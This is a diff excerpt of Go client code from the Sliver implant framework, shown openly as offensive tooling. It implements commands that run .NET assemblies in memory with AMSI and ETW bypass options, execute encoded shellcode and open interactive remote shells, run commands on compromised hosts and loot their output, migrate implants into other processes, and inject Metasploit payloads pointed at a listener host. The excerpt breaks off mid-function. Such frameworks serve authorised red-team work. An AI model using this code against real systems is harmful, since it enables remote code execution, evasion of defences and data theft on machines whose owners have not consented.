func EnvUnsetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
name := ctx.Args.String("name")
|
||||
if name == "" {
|
||||
con.PrintErrorf("Usage: setenv NAME\n")
|
||||
return
|
||||
}
|
||||
|
||||
unsetResp, err := con.Rpc.UnsetEnv(context.Background(), &sliverpb.UnsetEnvReq{
|
||||
Name: name,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if unsetResp.Response != nil && unsetResp.Response.Async {
|
||||
con.AddBeaconCallback(unsetResp.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, unsetResp)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintUnsetEnvInfo(name, unsetResp, con)
|
||||
})
|
||||
con.PrintAsyncResponse(unsetResp.Response)
|
||||
} else {
|
||||
PrintUnsetEnvInfo(name, unsetResp, con)
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
// PrintUnsetEnvInfo - Print the set environment info
|
||||
func PrintUnsetEnvInfo(name string, envInfo *sliverpb.UnsetEnv, con *console.SliverConsoleClient) {
|
||||
if envInfo.Response != nil && envInfo.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", envInfo.Response.Err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Successfully unset %s\n", name)
|
||||
}
|
||||
@@ -0,0 +1,4 @@
|
||||
Exec
|
||||
====
|
||||
|
||||
Implements execution related commands like `execute`, `execute-shellcode`, `execute-assembly`, etc.
|
||||
@@ -0,0 +1,136 @@
|
||||
package exec
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// ExecuteAssemblyCmd - Execute a .NET assembly in-memory
|
||||
func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
assemblyPath := ctx.Args.String("filepath")
|
||||
isDLL := false
|
||||
if filepath.Ext(assemblyPath) == ".dll" {
|
||||
isDLL = true
|
||||
}
|
||||
if isDLL {
|
||||
if ctx.Flags.String("class") == "" || ctx.Flags.String("method") == "" {
|
||||
con.PrintErrorf("Please provide a class name (namespace.class) and method\n")
|
||||
return
|
||||
}
|
||||
}
|
||||
assemblyBytes, err := os.ReadFile(assemblyPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s", err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
assemblyArgs := ctx.Args.StringList("arguments")
|
||||
process := ctx.Flags.String("process")
|
||||
processArgsStr := ctx.Flags.String("process-arguments")
|
||||
processArgs := strings.Split(processArgsStr, " ")
|
||||
|
||||
runtime := ctx.Flags.String("runtime")
|
||||
etwBypass := ctx.Flags.Bool("etw-bypass")
|
||||
amsiBypass := ctx.Flags.Bool("amsi-bypass")
|
||||
|
||||
assemblyArgsStr := strings.Join(assemblyArgs, " ")
|
||||
assemblyArgsStr = strings.TrimSpace(assemblyArgsStr)
|
||||
if len(assemblyArgsStr) > 256 {
|
||||
con.PrintWarnf(" Injected .NET assembly arguments are limited to 256 characters when using the default fork/exec model.\nConsider using the --in-process flag to execute the .NET assembly in-process and work around this limitation.\n")
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Do you want to continue?"}
|
||||
survey.AskOne(prompt, &confirm, nil)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil("Executing assembly ...", ctrl)
|
||||
execAssembly, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
IsDLL: isDLL,
|
||||
Process: process,
|
||||
Arguments: assemblyArgsStr,
|
||||
Assembly: assemblyBytes,
|
||||
Arch: ctx.Flags.String("arch"),
|
||||
Method: ctx.Flags.String("method"),
|
||||
ClassName: ctx.Flags.String("class"),
|
||||
AppDomain: ctx.Flags.String("app-domain"),
|
||||
ProcessArgs: processArgs,
|
||||
PPid: uint32(ctx.Flags.Uint("ppid")),
|
||||
Runtime: runtime,
|
||||
EtwBypass: etwBypass,
|
||||
AmsiBypass: amsiBypass,
|
||||
InProcess: ctx.Flags.Bool("in-process"),
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s", err)
|
||||
return
|
||||
}
|
||||
hostName := getHostname(session, beacon)
|
||||
if execAssembly.Response != nil && execAssembly.Response.Async {
|
||||
con.AddBeaconCallback(execAssembly.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, execAssembly)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
HandleExecuteAssemblyResponse(execAssembly, assemblyPath, hostName, ctx, con)
|
||||
})
|
||||
con.PrintAsyncResponse(execAssembly.Response)
|
||||
} else {
|
||||
HandleExecuteAssemblyResponse(execAssembly, assemblyPath, hostName, ctx, con)
|
||||
}
|
||||
}
|
||||
|
||||
func HandleExecuteAssemblyResponse(execAssembly *sliverpb.ExecuteAssembly, assemblyPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
saveLoot := ctx.Flags.Bool("loot")
|
||||
lootName := ctx.Flags.String("name")
|
||||
|
||||
if execAssembly.GetResponse().GetErr() != "" {
|
||||
con.PrintErrorf("Error: %s\n", execAssembly.GetResponse().GetErr())
|
||||
return
|
||||
}
|
||||
|
||||
PrintExecutionOutput(string(execAssembly.GetOutput()), ctx.Flags.Bool("save"), ctx.Command.Name, hostName, con)
|
||||
|
||||
if saveLoot {
|
||||
LootExecute(execAssembly.GetOutput(), lootName, ctx.Command.Name, assemblyPath, hostName, con)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,232 @@
|
||||
package exec
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"context"
|
||||
"fmt"
|
||||
"io"
|
||||
"log"
|
||||
"os"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"golang.org/x/term"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// ExecuteShellcodeCmd - Execute shellcode in-memory
|
||||
func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
rwxPages := ctx.Flags.Bool("rwx-pages")
|
||||
interactive := ctx.Flags.Bool("interactive")
|
||||
if interactive && beacon != nil {
|
||||
con.PrintErrorf("Interactive shellcode can only be executed in a session\n")
|
||||
return
|
||||
}
|
||||
pid := ctx.Flags.Uint("pid")
|
||||
shellcodePath := ctx.Args.String("filepath")
|
||||
shellcodeBin, err := os.ReadFile(shellcodePath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return
|
||||
}
|
||||
if pid != 0 && interactive {
|
||||
con.PrintErrorf("Cannot use both `--pid` and `--interactive`\n")
|
||||
return
|
||||
}
|
||||
shikataGaNai := ctx.Flags.Bool("shikata-ga-nai")
|
||||
if shikataGaNai {
|
||||
if !rwxPages {
|
||||
con.PrintErrorf("Cannot use shikata ga nai without RWX pages enabled\n")
|
||||
return
|
||||
}
|
||||
arch := ctx.Flags.String("architecture")
|
||||
if arch != "386" && arch != "amd64" {
|
||||
con.PrintErrorf("Invalid shikata ga nai architecture (must be 386 or amd64)\n")
|
||||
return
|
||||
}
|
||||
iter := ctx.Flags.Int("iterations")
|
||||
con.PrintInfof("Encoding shellcode ...\n")
|
||||
resp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
|
||||
Encoder: clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
|
||||
Architecture: arch,
|
||||
Iterations: uint32(iter),
|
||||
BadChars: []byte{},
|
||||
Data: shellcodeBin,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
oldSize := len(shellcodeBin)
|
||||
shellcodeBin = resp.GetData()
|
||||
con.PrintInfof("Shellcode encoded in %d iterations (%d bytes -> %d bytes)\n", iter, oldSize, len(shellcodeBin))
|
||||
}
|
||||
|
||||
if interactive {
|
||||
executeInteractive(ctx, ctx.Flags.String("process"), shellcodeBin, rwxPages, con)
|
||||
return
|
||||
}
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Sending shellcode to %s ...", session.GetName())
|
||||
con.SpinUntil(msg, ctrl)
|
||||
shellcodeTask, err := con.Rpc.Task(context.Background(), &sliverpb.TaskReq{
|
||||
Data: shellcodeBin,
|
||||
RWXPages: rwxPages,
|
||||
Pid: uint32(pid),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
if shellcodeTask.Response != nil && shellcodeTask.Response.Async {
|
||||
con.AddBeaconCallback(shellcodeTask.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, shellcodeTask)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintExecuteShellcode(shellcodeTask, con)
|
||||
})
|
||||
con.PrintAsyncResponse(shellcodeTask.Response)
|
||||
} else {
|
||||
PrintExecuteShellcode(shellcodeTask, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintExecuteShellcode - Display result of shellcode execution
|
||||
func PrintExecuteShellcode(task *sliverpb.Task, con *console.SliverConsoleClient) {
|
||||
if task.Response.GetErr() != "" {
|
||||
con.PrintErrorf("%s\n", task.Response.GetErr())
|
||||
} else {
|
||||
con.PrintInfof("Executed shellcode on target\n")
|
||||
}
|
||||
}
|
||||
|
||||
func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte, rwxPages bool, con *console.SliverConsoleClient) {
|
||||
// Check active session
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
// Start remote process and tunnel
|
||||
noPty := false
|
||||
if session.GetOS() == "windows" {
|
||||
noPty = true // Windows of course doesn't have PTYs
|
||||
}
|
||||
|
||||
rpcTunnel, err := con.Rpc.CreateTunnel(context.Background(), &sliverpb.Tunnel{
|
||||
SessionID: session.ID,
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
tunnel := core.GetTunnels().Start(rpcTunnel.GetTunnelID(), rpcTunnel.GetSessionID())
|
||||
|
||||
shell, err := con.Rpc.Shell(context.Background(), &sliverpb.ShellReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: hostProc,
|
||||
EnablePTY: !noPty,
|
||||
TunnelID: tunnel.ID,
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
// Retrieve PID and start remote task
|
||||
pid := shell.GetPid()
|
||||
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Sending shellcode to %s ...", session.GetName())
|
||||
con.SpinUntil(msg, ctrl)
|
||||
_, err = con.Rpc.Task(context.Background(), &sliverpb.TaskReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Pid: pid,
|
||||
Data: shellcode,
|
||||
RWXPages: rwxPages,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
log.Printf("Bound remote program pid %d to tunnel %d", shell.Pid, shell.TunnelID)
|
||||
con.PrintInfof("Started remote shell with pid %d\n\n", shell.Pid)
|
||||
|
||||
var oldState *term.State
|
||||
if !noPty {
|
||||
oldState, err = term.MakeRaw(0)
|
||||
log.Printf("Saving terminal state: %v", oldState)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to save terminal state\n")
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
log.Printf("Starting stdin/stdout shell ...")
|
||||
go func() {
|
||||
n, err := io.Copy(os.Stdout, tunnel)
|
||||
log.Printf("Wrote %d bytes to stdout", n)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error writing to stdout: %v", err)
|
||||
return
|
||||
}
|
||||
}()
|
||||
for {
|
||||
log.Printf("Reading from stdin ...")
|
||||
n, err := io.Copy(tunnel, os.Stdin)
|
||||
log.Printf("Read %d bytes from stdin", n)
|
||||
if err == io.EOF {
|
||||
break
|
||||
}
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error reading from stdin: %v", err)
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if !noPty {
|
||||
log.Printf("Restoring terminal state ...")
|
||||
term.Restore(0, oldState)
|
||||
}
|
||||
|
||||
log.Printf("Exit interactive")
|
||||
bufio.NewWriter(os.Stdout).Flush()
|
||||
}
|
||||
@@ -0,0 +1,255 @@
|
||||
package exec
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/loot"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// ExecuteCmd - Run a command on the remote system
|
||||
func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
cmdPath := ctx.Args.String("command")
|
||||
args := ctx.Args.StringList("arguments")
|
||||
token := ctx.Flags.Bool("token")
|
||||
output := ctx.Flags.Bool("output")
|
||||
stdout := ctx.Flags.String("stdout")
|
||||
stderr := ctx.Flags.String("stderr")
|
||||
saveLoot := ctx.Flags.Bool("loot")
|
||||
saveOutput := ctx.Flags.Bool("save")
|
||||
ppid := ctx.Flags.Uint("ppid")
|
||||
hostName := getHostname(session, beacon)
|
||||
|
||||
// If the user wants to loot or save the output, we have to capture it regardless of if they specified -o
|
||||
var captureOutput bool = output || saveLoot || saveOutput
|
||||
|
||||
if output && beacon != nil {
|
||||
con.PrintWarnf("Using --output in beacon mode, if the command blocks the task will never complete\n\n")
|
||||
}
|
||||
|
||||
var exec *sliverpb.Execute
|
||||
var err error
|
||||
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Executing %s %s ...", cmdPath, strings.Join(args, " ")), ctrl)
|
||||
if token || ppid != 0 {
|
||||
exec, err = con.Rpc.ExecuteWindows(context.Background(), &sliverpb.ExecuteWindowsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: cmdPath,
|
||||
Args: args,
|
||||
Output: captureOutput,
|
||||
Stderr: stderr,
|
||||
Stdout: stdout,
|
||||
UseToken: token,
|
||||
PPid: uint32(ppid),
|
||||
})
|
||||
} else {
|
||||
exec, err = con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: cmdPath,
|
||||
Args: args,
|
||||
Output: captureOutput,
|
||||
Stderr: stderr,
|
||||
Stdout: stdout,
|
||||
})
|
||||
}
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s", err)
|
||||
return
|
||||
}
|
||||
|
||||
if exec.Response != nil && exec.Response.Async {
|
||||
con.AddBeaconCallback(exec.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, exec)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
HandleExecuteResponse(exec, cmdPath, hostName, ctx, con)
|
||||
})
|
||||
con.PrintAsyncResponse(exec.Response)
|
||||
} else {
|
||||
HandleExecuteResponse(exec, cmdPath, hostName, ctx, con)
|
||||
}
|
||||
}
|
||||
|
||||
func HandleExecuteResponse(exec *sliverpb.Execute, cmdPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
var lootedOutput []byte
|
||||
stdout := ctx.Flags.String("stdout")
|
||||
saveLoot := ctx.Flags.Bool("loot")
|
||||
saveOutput := ctx.Flags.Bool("save")
|
||||
lootName := ctx.Flags.String("name")
|
||||
ignoreStderr := ctx.Flags.Bool("ignore-stderr")
|
||||
|
||||
if saveLoot || saveOutput {
|
||||
lootedOutput = combineCommandOutput(exec, stdout == "", !ignoreStderr && 0 < len(exec.Stderr))
|
||||
}
|
||||
|
||||
if saveLoot {
|
||||
LootExecute(lootedOutput, lootName, ctx.Command.Name, cmdPath, hostName, con)
|
||||
}
|
||||
|
||||
if saveOutput {
|
||||
SaveExecutionOutput(string(lootedOutput), ctx.Command.Name, hostName, con)
|
||||
}
|
||||
|
||||
PrintExecute(exec, ctx, con)
|
||||
}
|
||||
|
||||
// PrintExecute - Print the output of an executed command
|
||||
func PrintExecute(exec *sliverpb.Execute, ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
ignoreStderr := ctx.Flags.Bool("ignore-stderr")
|
||||
stdout := ctx.Flags.String("stdout")
|
||||
stderr := ctx.Flags.String("stderr")
|
||||
|
||||
output := ctx.Flags.Bool("output")
|
||||
if !output {
|
||||
if exec.Status == 0 {
|
||||
con.PrintInfof("Command executed successfully\n")
|
||||
} else {
|
||||
con.PrintErrorf("Exit code %d\n", exec.Status)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
if stdout == "" {
|
||||
con.PrintInfof("Output:\n%s", string(exec.Stdout))
|
||||
} else {
|
||||
con.PrintInfof("Stdout saved at %s\n", stdout)
|
||||
}
|
||||
|
||||
if stderr == "" {
|
||||
if !ignoreStderr && 0 < len(exec.Stderr) {
|
||||
con.PrintInfof("Stderr:\n%s", string(exec.Stderr))
|
||||
}
|
||||
} else {
|
||||
con.PrintInfof("Stderr saved at %s\n", stderr)
|
||||
}
|
||||
|
||||
if exec.Status != 0 {
|
||||
con.PrintErrorf("Exited with status %d!\n", exec.Status)
|
||||
}
|
||||
}
|
||||
|
||||
func getHostname(session *clientpb.Session, beacon *clientpb.Beacon) string {
|
||||
if session != nil {
|
||||
return session.Hostname
|
||||
}
|
||||
if beacon != nil {
|
||||
return beacon.Hostname
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func determineCommandName(command string) string {
|
||||
commandName := strings.ReplaceAll(command, "\\", "/")
|
||||
|
||||
commandName = commandName[strings.LastIndex(commandName, "/")+1:]
|
||||
|
||||
if strings.Contains(commandName, ".") {
|
||||
commandName = commandName[:strings.LastIndex(commandName, ".")]
|
||||
}
|
||||
|
||||
return commandName
|
||||
}
|
||||
|
||||
func combineCommandOutput(exec *sliverpb.Execute, combineStdOut bool, combineStdErr bool) []byte {
|
||||
var outputString string = ""
|
||||
|
||||
if combineStdOut {
|
||||
outputString += "Output (stdout):\n" + string(exec.Stdout)
|
||||
}
|
||||
|
||||
if combineStdErr {
|
||||
if combineStdOut {
|
||||
outputString += "\n"
|
||||
}
|
||||
outputString += "Stderr:\n" + string(exec.Stderr)
|
||||
}
|
||||
|
||||
return []byte(outputString)
|
||||
}
|
||||
|
||||
func LootExecute(commandOutput []byte, lootName string, sliverCmdName string, cmdName string, hostName string, con *console.SliverConsoleClient) {
|
||||
if len(commandOutput) == 0 {
|
||||
con.PrintInfof("There was no output from execution, so there is nothing to loot.\n")
|
||||
return
|
||||
}
|
||||
|
||||
timeNow := time.Now().UTC().Format("20060102150405")
|
||||
|
||||
shortCommandName := determineCommandName(cmdName)
|
||||
|
||||
fileName := fmt.Sprintf("%s_%s_%s_%s.log", sliverCmdName, hostName, shortCommandName, timeNow)
|
||||
if lootName == "" {
|
||||
lootName = fmt.Sprintf("[%s] %s on %s (%s)", sliverCmdName, shortCommandName, hostName, timeNow)
|
||||
}
|
||||
|
||||
lootMessage := loot.CreateLootMessage(fileName, lootName, clientpb.LootType_LOOT_FILE, clientpb.FileType_TEXT, commandOutput)
|
||||
loot.SendLootMessage(lootMessage, con)
|
||||
}
|
||||
|
||||
func PrintExecutionOutput(executionOutput string, saveOutput bool, commandName string, hostName string, con *console.SliverConsoleClient) {
|
||||
con.PrintInfof("Output:\n%s", executionOutput)
|
||||
|
||||
if saveOutput {
|
||||
SaveExecutionOutput(executionOutput, commandName, hostName, con)
|
||||
}
|
||||
}
|
||||
|
||||
func SaveExecutionOutput(executionOutput string, commandName string, hostName string, con *console.SliverConsoleClient) {
|
||||
var outFilePath *os.File
|
||||
var err error
|
||||
|
||||
if len(executionOutput) == 0 {
|
||||
con.PrintInfof("There was no output from execution, so there is nothing to save.")
|
||||
return
|
||||
}
|
||||
|
||||
timeNow := time.Now().UTC().Format("20060102150405")
|
||||
|
||||
outFileName := filepath.Base(fmt.Sprintf("%s_%s_%s*.log", commandName, hostName, timeNow))
|
||||
|
||||
outFilePath, err = os.CreateTemp("", outFileName)
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write([]byte(executionOutput))
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,64 @@
|
||||
package exec
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// MigrateCmd - Windows only, inject an implant into another process
|
||||
func MigrateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSession()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
pid := ctx.Args.Uint("pid")
|
||||
config := con.GetActiveSessionConfig()
|
||||
encoder := clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
|
||||
if ctx.Flags.Bool("disable-sgn") {
|
||||
encoder = clientpb.ShellcodeEncoder_NONE
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Migrating into %d ...", pid), ctrl)
|
||||
|
||||
migrate, err := con.Rpc.Migrate(context.Background(), &clientpb.MigrateReq{
|
||||
Pid: uint32(pid),
|
||||
Config: config,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Encoder: encoder,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %v", err)
|
||||
return
|
||||
}
|
||||
if !migrate.Success {
|
||||
con.PrintErrorf("%s\n", migrate.GetResponse().GetErr())
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Successfully migrated to %d\n", pid)
|
||||
}
|
||||
@@ -0,0 +1,112 @@
|
||||
package exec
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// MsfInjectCmd - Inject a metasploit payload into a remote process
|
||||
func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
payloadName := ctx.Flags.String("payload")
|
||||
lhost := ctx.Flags.String("lhost")
|
||||
lport := ctx.Flags.Int("lport")
|
||||
encoder := ctx.Flags.String("encoder")
|
||||
iterations := ctx.Flags.Int("iterations")
|
||||
pid := ctx.Flags.Int("pid")
|
||||
|
||||
if lhost == "" {
|
||||
con.PrintErrorf("Invalid lhost '%s', see `help %s`\n", lhost, consts.MsfInjectStr)
|
||||
return
|
||||
}
|
||||
if pid == -1 {
|
||||
con.PrintErrorf("Invalid pid '%s', see `help %s`\n", lhost, consts.MsfInjectStr)
|
||||
return
|
||||
}
|
||||
var goos string
|
||||
var goarch string
|
||||
if session != nil {
|
||||
goos = session.OS
|
||||
goarch = session.Arch
|
||||
} else {
|
||||
goos = beacon.OS
|
||||
goarch = beacon.Arch
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Sending msf payload %s %s/%s -> %s:%d ...",
|
||||
payloadName, goos, goarch, lhost, lport)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
msfTask, err := con.Rpc.MsfRemote(context.Background(), &clientpb.MSFRemoteReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Payload: payloadName,
|
||||
LHost: lhost,
|
||||
LPort: uint32(lport),
|
||||
Encoder: encoder,
|
||||
Iterations: int32(iterations),
|
||||
PID: uint32(pid),
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
